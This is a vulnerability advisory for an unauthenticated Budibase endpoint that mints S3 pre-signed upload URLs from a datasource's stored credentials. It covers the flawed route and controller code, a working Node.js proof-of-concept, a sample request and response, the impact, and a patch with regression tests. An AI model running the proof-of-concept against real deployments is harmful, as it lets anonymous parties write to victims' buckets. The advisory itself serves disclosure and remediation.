CVE-2026-50137: Budibase: POST /api/attachments/:datasourceId/url is unauthenticated and lets anonymous callers mint S3 PUT pre-signed URLs using stored datasource IAM credentials

Summary

The Budibase server route POST /api/attachments/:datasourceId/url (packages/server/src/api/routes/static.ts) is registered with only the recaptcha middleware. There is no authorized(...) middleware in the chain. The controller (packages/server/src/api/controllers/static/index.ts::getSignedUploadURL) looks the requested datasource up, instantiates an AWS S3 client with the datasource's stored accessKeyId / secretAccessKey, and returns an AWS Signature V4 pre-signed PutObjectCommand URL for the caller-supplied bucket and key. The bucket is not pinned to the datasource's configured bucket.

The workspace context required by sdk.datasources.get is sourced by getWorkspaceIdFromCtx (packages/backend-core/src/utils/utils.ts) from any of: the x-budibase-app-id header, the JSON body appId, a path segment that begins with the workspace prefix, or ?appId=. auth.buildAuthMiddleware([], { publicAllowed: true }) runs before any of this and explicitly allows anonymous requests. The currentWorkspace middleware's "deny access to dev preview" branch only triggers under isBrowser(ctx) && !isApiKey(ctx); isBrowser checks the parsed User-Agent for a recognised browser, so any non-browser client (curl, the supplied PoC, any tool not setting a browser UA) is neither and reaches dev workspaces too.

Net effect: an anonymous attacker who knows or can enumerate a workspace id (app...) and an S3-source datasource id (ds...) can call this endpoint with no auth and obtain a 15-minute pre-signed PUT URL minted on the victim's IAM identity. The endpoint also returns the publicUrl so the attacker knows exactly where their PUT lands. Because bucket is attacker-controlled, the attacker can write to any bucket those IAM credentials can write to, not only the bucket the datasource was configured for.

Affected code

packages/server/src/api/routes/static.ts at HEAD 56d2a984 (master, 2026-05-18):

ts import { permissions } from "@budibase/backend-core" import Router from "@koa/router" import { authorizedMiddleware as authorized } from "../../middleware/authorized" import recaptcha from "../../middleware/recaptcha" import { paramResource } from "../../middleware/resourceId" import as controller from "../controllers/static"

const { BUILDER, PermissionType, PermissionLevel } = permissions

const router: Router = new Router() // ... router .post("/api/attachments/process", authorized(BUILDER), controller.uploadFile) .post("/api/pwa/process-zip", authorized(BUILDER), controller.processPWAZip) .post( "/api/attachments/:tableId/upload", recaptcha, paramResource("tableId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.uploadFile ) // ... .post( "/api/attachments/:datasourceId/url", recaptcha, controller.getSignedUploadURL // <- no authorized(...) )

Note the asymmetry: every other mutating endpoint on this router carries an authorized(...) middleware. The signed-URL endpoint does not.

packages/server/src/api/controllers/static/index.ts:595-645:

ts export const getSignedUploadURL = async function (ctx) { let datasource try { const { datasourceId } = ctx.params datasource = await sdk.datasources.get(datasourceId, { enriched: true }) if (!datasource) { ctx.throw(400, "The specified datasource could not be found") } } catch (error) { ctx.throw(400, "The specified datasource could not be found") }

let signedUrl, publicUrl const awsRegion = (datasource?.config?.region || "eu-west-1") as string if (datasource?.source === "S3") { const { bucket, key } = ctx.request.body || {} if (!bucket || !key) { ctx.throw(400, "bucket and key values are required") } try { let endpoint = datasource?.config?.endpoint if (endpoint && !utils.urlHasProtocol(endpoint)) { endpoint = https://${endpoint} } const s3 = new S3({ region: awsRegion, endpoint, credentials: { accessKeyId: datasource?.config?.accessKeyId as string, secretAccessKey: datasource?.config?.secretAccessKey as string, }, }) const params = { Bucket: bucket, Key: key } signedUrl = await getSignedUrl(s3, new PutObjectCommand(params)) if (endpoint) { publicUrl = ${endpoint}/${bucket}/${key} } else { publicUrl = https://${bucket}.s3.${awsRegion}.amazonaws.com/${key} } } catch (error: any) { ctx.throw(400, error) } }

ctx.body = { signedUrl, publicUrl } }

sdk.datasources.get(datasourceId, { enriched: true }) (packages/server/src/sdk/workspace/datasources/datasources.ts) does the workspace DB read and also substitutes {{ env. }} references in the config via processObjectSync, so even if the operator stored credentials as environment-variable references, those values are resolved before the S3 client is built.

recaptcha (packages/server/src/middleware/recaptcha.ts) short-circuits to next() whenever the workspace either is not a production workspace or does not have features.recaptchaEnabled = true on its metadata. Neither is set by default. Even on workspaces with recaptcha enabled, builders carrying the x-budibase-type: builder header skip the check, but that branch is irrelevant here — the broader case is that an anonymous attacker simply chooses a non-prod workspace (which is the default for any in-development app) and the middleware no-ops.

Reproduction

Proof-of-concept Node.js script (no AWS SDK dependency, no external libraries):

js #!/usr/bin/env node // PoC: Unauthenticated S3 signed-upload-URL minting in Budibase // usage: node poc.js <budibase-base-url> <app-id> <datasource-id>

"use strict" const http = require("http") const https = require("https") const { URL } = require("url")

function postJson(targetUrl, headers, body) { return new Promise((resolve, reject) => { const u = new URL(targetUrl) const lib = u.protocol === "https:" ? https : http const payload = Buffer.from(JSON.stringify(body), "utf8") const req = lib.request( { method: "POST", protocol: u.protocol, hostname: u.hostname, port: u.port || (u.protocol === "https:" ? 443 : 80), path: u.pathname + u.search, headers: Object.assign( { "Content-Type": "application/json", "Content-Length": payload.length, // Deliberately not a recognised browser UA so the // currentWorkspace dev-preview redirect does not fire. "User-Agent": "budibase-poc/1.0", }, headers || {} ), }, res => { const chunks = [] res.on("data", c => chunks.push(c)) res.on("end", () => resolve({ status: res.statusCode, body: Buffer.concat(chunks).toString("utf8"), }) ) } ) req.on("error", reject) req.write(payload) req.end() }) }

async function main() { const [baseUrl, appId, datasourceId] = process.argv.slice(2) if (!baseUrl || !appId || !datasourceId) { console.error("usage: node poc.js <baseUrl> <appId> <datasourceId>") process.exit(2) } const bucket = process.env.POCBUCKET || "attacker-chosen-bucket" const key = process.env.POCKEY || pwn/${Date.now()}.html const url = baseUrl.replace(/\/$/, "") + /api/attachments/${encodeURIComponent(datasourceId)}/url const resp = await postJson( url, { "x-budibase-app-id": appId }, { bucket, key } ) console.log(HTTP ${resp.status}) console.log(resp.body) }

main().catch(err => { console.error(err) process.exit(1) })

Wire-level request:

POST /api/attachments/dsxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx/url HTTP/1.1 Host: budibase.example:10000 x-budibase-app-id: appdevyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy Content-Type: application/json User-Agent: budibase-poc/1.0 Content-Length: 36

{"bucket":"victim-bucket","key":"x.html"}

Response:

HTTP/1.1 200 OK Content-Type: application/json

{ "signedUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIA...%2F20260519%2Feu-west-1%2Fs3%2Faws4request&X-Amz-Date=20260519T120000Z&X-Amz-Expires=900&X-Amz-Signature=...&X-Amz-SignedHeaders=host&x-id=PutObject", "publicUrl": "https://victim-bucket.s3.eu-west-1.amazonaws.com/x.html" }

The attacker then PUTs arbitrary bytes to signedUrl and they land at publicUrl, signed by — and IAM-scoped to — the victim's stored S3 credentials.

The existing test that exercises the endpoint, packages/server/src/api/routes/tests/static.spec.ts:123-146, sends the same request with config.defaultHeaders() (a builder auth cookie). That confirms the request shape; no negative-auth test (.set({}) or publicHeaders()) exists for this route, which is how the missing authorized(...) slipped past code review.

Impact

- Confidentiality / Integrity: any anonymous internet user can write arbitrary objects to any bucket the configured IAM credentials can write to. The bucket parameter is attacker-controlled, so the blast radius is the full IAM policy attached to the credential, not just the bucket the operator wired into the datasource. Typical realistic outcomes: planting HTML/JS that the bucket serves at a known path (the response gives back publicUrl), overwriting an existing key the application later reads back as trusted data, racking up S3 storage / PUT cost. - Availability: storage / cost exhaustion. Repeated PUTs of large objects to attacker-chosen keys cost the victim. - Authorization scope leak: the endpoint discloses (a) whether a given datasourceId exists and is S3-typed (200 vs 400 'not found'), and (b) the resolved publicUrl which includes the region.

No MFA / OAuth / per-user check exists between the request and the issued pre-signed URL. The credentials are not returned in plaintext, but the pre-signed URL is functionally equivalent to a 15-minute capability to PUT to the chosen bucket/key.

Suggested fix

Attach authorized(PermissionType.TABLE, PermissionLevel.WRITE) (or a higher gate, e.g. BUILDER, depending on intended audience) to the route, mirroring the sibling /api/attachments/:tableId/upload registration. Additionally, validate that the requested bucket matches datasource.config.bucket so the IAM blast radius is reduced to the configured bucket only.

Minimal patch shape:

ts .post( "/api/attachments/:datasourceId/url", recaptcha, paramResource("datasourceId"), authorized(PermissionType.TABLE, PermissionLevel.WRITE), controller.getSignedUploadURL )

And in the controller, before calling getSignedUrl:

ts const configuredBucket = datasource?.config?.bucket if (configuredBucket && bucket !== configuredBucket) { ctx.throw(400, "bucket does not match configured datasource bucket") }

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com).

Fix PR

A candidate fix has been prepared on the temporary private fork that was created from this advisory:

- PR: https://github.com/Budibase/budibase-ghsa-35c4-rvc8-frhm/pull/1 - Branch: fix/attachment-url-auth-and-bucket-pin - Commit: Require builder auth and pin bucket on POST /api/attachments/:datasourceId/url

The patch is the canonical two-part fix:

1. Attach authorized(BUILDER) to POST /api/attachments/:datasourceId/url on packages/server/src/api/routes/static.ts, mirroring the surrounding POST /api/attachments/process and POST /api/pwa/process-zip registrations. Anonymous callers now receive 401 regardless of whether the recaptcha middleware fails open. 2. Pin Bucket to datasource.config.bucket inside getSignedUploadURL (packages/server/src/api/controllers/static/index.ts) and ignore any bucket value supplied in the request body. If the datasource has no bucket configured, the route now returns 400 instead of issuing an unbounded pre-signed URL.

Two regression tests are added in packages/server/src/api/routes/tests/static.spec.ts:

- should reject unauthenticated callers (anonymous request with config.publicHeaders() now returns 401, was 200 before). - should ignore a client-supplied bucket and pin to the datasource's configured bucket (authenticated request with body { bucket: "other-bucket", key: "bar" } returns a signed URL bound to foo.s3.eu-west-1.amazonaws.com/bar, not other-bucket).

Test run on the patch (Jest, packages/server):

PASS src/api/routes/tests/static.spec.ts /static /attachments generateSignedUrls v should be able to generate a signed upload URL v should reject unauthenticated callers v should ignore a client-supplied bucket and pin to the datasource's configured bucket v should reject when the datasource has no configured bucket v should handle an invalid datasource ID v should require a key parameter